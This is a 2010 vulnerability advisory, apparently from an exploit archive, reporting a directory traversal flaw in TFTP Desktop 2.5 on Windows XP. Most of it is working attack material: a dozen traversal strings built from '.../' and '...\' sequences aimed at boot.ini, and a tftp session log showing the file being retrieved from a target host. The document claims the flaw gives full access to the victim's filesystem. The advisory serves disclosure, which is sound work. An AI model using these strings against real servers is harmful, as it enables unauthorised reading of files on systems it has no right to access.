tftp desktop 2.5 - Directory Traversal

+------------------------------------------------------------------------+
|                                 .......                                |
|                         ..''xxxxxxxxxxxxxxx'...                        |
|                    ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx..                    |
|                 ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.                 |
|               .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'.               |
|             .'xxxxxxxxxxxxxxxxxxxxx''......        ...  ..             |
|            .xxxxxxxxxxxxxxxxxx'...         ........      .'.           |
|           'xxxxxxxxxxxxxxx'......                          '.          |
|          'xxxxxxxxxxxxxx'..'x..                            .x.         |
|         .xxxxxxxxxxxx'...'..                  ...           .'         |
|         'xxxxxxxxx'..  .                          ..        .x.        |
|         xxxxxxx'.                                  ..        x.        |
|         xxxx'.                ....                  x        x.        |
|         'x'.            ...'xxxxxxx'.               x       .x.        |
|         .x'.         .'xxxxxxxxxxxxxx.             ''       .'         |
|          .xx.      .'xxxxxxxxxxxxxxxx.           .'xx'''.  .'          |
|           .xx..    'xxxxxxxxxxxxxxxx'          .'xxxxxxxxx''.          |
|            .'xx'.  .'xxxxxxxxxxxxxxx.      ..'xxxxxxxxxxxx'            |
|              .xxx'.  .xxxxxxxxxxxx'.    .'xxxxxxxxxxxxxx'.             |
|                .xxxx'.'xxxxxxxxx'.      xxx'xxxxxxxxxx'.               |
|                  .'xxxxxxx'....          ...xxxxxxx'.                  |
|                     ..'xxxxx'..         ..xxxxx'..                     |
|                          ....'xx'.....''''...                          |
|                                                                        |
|                    CubilFelino Security Research Labs                  |
|                            proudly presents...                         |
+------------------------------------------------------------------------+


Author: chr1x ([email protected])
Date: August 30, 2010
Affected operating system/software, including full version details
TFTP Desktop version 2.5, Tested on Windows XP PRO SP3
Download:
http://www.mynet2.com/soft/Software%20Archive/TFTP%20Server/tftp_desktop_free.exe

How the vulnerability can be reproduced

Attack strings below:

[*] Testing Path: .../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: .../.../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: .../.../.../.../.../.../.../.../boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\...\boot.ini  <- Vulnerable string!!
[*] Testing Path: ...\...\...\...\...\...\...\...\boot.ini  <- Vulnerable string!!

Confirmation log:

root@olovely:/# tftp
tftp> connect
(to) 192.168.1.53
tftp> ascii
tftp> get
(files) .../.../.../.../.../.../boot.ini
Received 211 bytes in 0.0 seconds
tftp> quit

What impact the vulnerability has on the vulnerable system

* High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.